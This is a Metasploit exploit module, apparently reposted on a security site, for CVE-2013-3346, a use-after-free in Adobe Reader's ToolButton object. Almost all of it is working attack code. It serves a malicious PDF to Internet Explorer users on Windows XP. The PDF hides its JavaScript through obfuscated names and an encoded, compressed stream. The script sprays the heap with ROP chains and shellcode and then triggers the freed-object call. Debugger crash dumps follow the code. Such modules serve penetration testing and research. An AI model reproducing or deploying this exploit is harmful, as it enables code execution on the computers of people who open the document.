Adobe Reader ToolButton Use After Free

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Adobe Reader ToolButton Use After Free

来源：metasploit.com 作者：sinn3r 发布时间：2013-12-18

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})

super(update_info(info,

'Name' => "Adobe Reader ToolButton Use After Free",

'Description' => %q{

This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6

and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where

the cEnable callback can be used to early free the object memory. Later use of the object

allows triggering the use after free condition. This module has been tested successfully

on Adobe Reader 11.0.2 and 10.0.4, with IE and Windows XP SP3, as exploited in the wild in

November, 2013. At the moment, this module doesn't support Adobe Reader 9 targets; in order

to exploit Adobe Reader 9 the fileformat version of the exploit can be used.

},

'License' => MSF_LICENSE,

'Author' =>

[

'Soroush Dalili', # Vulnerability discovery

'Unknown', # Exploit in the wild

'sinn3r', # Metasploit module

'juan vazquez' # Metasploit module

],

'References' =>

[

[ 'CVE', '2013-3346' ],

[ 'OSVDB', '96745' ],

[ 'ZDI', '13-212' ],

[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],

[ 'URL',

'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html'

]

],

'Platform' => 'win',

'Arch' => ARCH_X86,

'Payload' =>

{

'Space' => 1024,

'BadChars' => "\x00",

'DisableNops' => true

},

'BrowserRequirements' =>

{

:source => /script|headers/i,

:os_name => Msf::OperatingSystems::WINDOWS,

:os_flavor => Msf::OperatingSystems::WindowsVersions::XP,

:ua_name => Msf::HttpClients::IE

},

'Targets' =>

[

[ 'Windows XP / IE / Adobe Reader 10/11', { } ],

],

'Privileged' => false,

'DisclosureDate' => "Aug 08 2013",

'DefaultTarget' => 0))

end

def on_request_exploit(cli, request, target_info)

print_status("request: #{request.uri}")

js_data = make_js(cli, target_info)

# Create the pdf

pdf = make_pdf(js_data)

print_status("Sending PDF...")

send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })

end

def make_js(cli, target_info)

# CreateFileMappingA + MapViewOfFile + memcpy rop chain

rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))

rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))

escaped_payload = Rex::Text.to_unescape(get_payload(cli, target_info))

js = %Q|

function heapSpray(str, str_addr, r_addr) {

var aaa = unescape("%u0c0c");

aaa += aaa;

while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;

var i1 = r_addr - 0x24;

var bbb = aaa.substring(0, i1 / 2);

var sa = str_addr;

while (sa.length < (0x0c0c - r_addr)) sa += sa;

bbb += sa;

bbb += aaa;

var i11 = 0x0c0c - 0x24;

bbb = bbb.substring(0, i11 / 2);

bbb += str;

bbb += aaa;

var i2 = 0x4000 + 0xc000;

var ccc = bbb.substring(0, i2 / 2);

while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;

var i3 = (0x1020 - 0x08) / 2;

var ddd = ccc.substring(0, 0x80000 - i3);

var eee = new Array();

for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";

return;

}

var shellcode = unescape("#{escaped_payload}");

var executable = "";

var rop10 = unescape("#{rop_10}");

var rop11 = unescape("#{rop_11}");

var r11 = false;

var vulnerable = true;

var obj_size;

var rop;

var ret_addr;

var rop_addr;

var r_addr;

if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {

obj_size = 0x360 + 0x1c;

rop = rop10;

rop_addr = unescape("%u08e4%u0c0c");

r_addr = 0x08e4;

ret_addr = unescape("%ua8df%u4a82");

} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {

r11 = true;

obj_size = 0x370;

rop = rop11;

rop_addr = unescape("%u08a8%u0c0c");

r_addr = 0x08a8;

ret_addr = unescape("%u8003%u4a84");

} else {

vulnerable = false;

}

if (vulnerable) {

var payload = rop + shellcode;

heapSpray(payload, ret_addr, r_addr);

var part1 = "";

if (!r11) {

for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");

}

part1 += rop_addr;

var part2 = "";

var part2_len = obj_size - part1.length * 2;

for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");

var arr = new Array();

removeButtonFunc = function () {

app.removeToolButton({

cName: "evil"

});

for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);

}

addButtonFunc = function () {

app.addToolButton({

cName: "xxx",

cExec: "1",

cEnable: "removeButtonFunc();"

});

}

app.addToolButton({

cName: "evil",

cExec: "1",

cEnable: "addButtonFunc();"

});

}

|

js

end

def RandomNonASCIIString(count)

result = ""

count.times do

result << (rand(128) + 128).chr

end

result

end

def ioDef(id)

"%d 0 obj \n" % id

end

def ioRef(id)

"%d 0 R" % id

end

#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/

def nObfu(str)

#return str

result = ""

str.scan(/./u) do |c|

if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'

result << "#%x" % c.unpack("C*")[0]

else

result << c

end

result

end

def ASCIIHexWhitespaceEncode(str)

result = ""

whitespace = ""

str.each_byte do |b|

result << whitespace << "%02x" % b

whitespace = " " * (rand(3) + 1)

end

result << ">"

end

def make_pdf(js)

xref = []

eol = "\n"

endobj = "endobj" << eol

# Randomize PDF version?

pdf = "%PDF-1.5" << eol

pdf << "%" << RandomNonASCIIString(4) << eol

# catalog

xref << pdf.length

pdf << ioDef(1) << nObfu("<<") << eol

pdf << nObfu("/Pages ") << ioRef(2) << eol

pdf << nObfu("/Type /Catalog") << eol

pdf << nObfu("/OpenAction ") << ioRef(4) << eol

# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load

pdf << nObfu("/AcroForm ") << ioRef(6) << eol

pdf << nObfu(">>") << eol

pdf << endobj

# pages array

xref << pdf.length

pdf << ioDef(2) << nObfu("<<") << eol

pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol

pdf << nObfu("/Count 1") << eol

pdf << nObfu("/Type /Pages") << eol

pdf << nObfu(">>") << eol

pdf << endobj

# page 1

xref << pdf.length

pdf << ioDef(3) << nObfu("<<") << eol

pdf << nObfu("/Parent ") << ioRef(2) << eol

pdf << nObfu("/Type /Page") << eol

pdf << nObfu(">>") << eol # end obj dict

pdf << endobj

# js action

xref << pdf.length

pdf << ioDef(4) << nObfu("<<")

pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5)

pdf << nObfu(">>") << eol

pdf << endobj

# js stream

xref << pdf.length

compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))

pdf << ioDef(5) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol

pdf << "stream" << eol

pdf << compressed << eol

pdf << "endstream" << eol

pdf << endobj

###

# The following form related data is required to get icucnv36.dll / icucnv40.dll to load

###

# form object

xref << pdf.length

pdf << ioDef(6)

pdf << nObfu("<</XFA ") << ioRef(7) << nObfu(">>") << eol

pdf << endobj

# form stream

xfa = <<-EOF

<?xml version="1.0" encoding="UTF-8"?>

<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">

<config xmlns="http://www.xfa.org/schema/xci/2.6/">

<present><pdf><interactive>1</interactive></pdf></present>

</config>

<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">

<subform name="form1" layout="tb" locale="en_US">

<pageSet></pageSet>

</subform></template></xdp:xdp>

EOF

xref << pdf.length

pdf << ioDef(7) << nObfu("<</Length %s>>" % xfa.length) << eol

pdf << "stream" << eol

pdf << xfa << eol

pdf << "endstream" << eol

pdf << endobj

###

# end form stuff for icucnv36.dll / icucnv40.dll

###

# trailing stuff

xrefPosition = pdf.length

pdf << "xref" << eol

pdf << "0 %d" % (xref.length + 1) << eol

pdf << "0000000000 65535 f" << eol

xref.each do |index|

pdf << "%010d 00000 n" % index << eol

end

pdf << "trailer" << eol

pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

pdf << "startxref" << eol

pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol

pdf

end

=begin

* crash Adobe Reader 10.1.4

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001

eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213

AcroRd32_60000000!PDFLTerm+0xbb7cd:

604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????

* crash Adobe Reader 11.0.2

(940.d70): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -

eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000

eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213

AcroRd32_60000000!DllCanUnloadNow+0x1493ae:

60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????

=end

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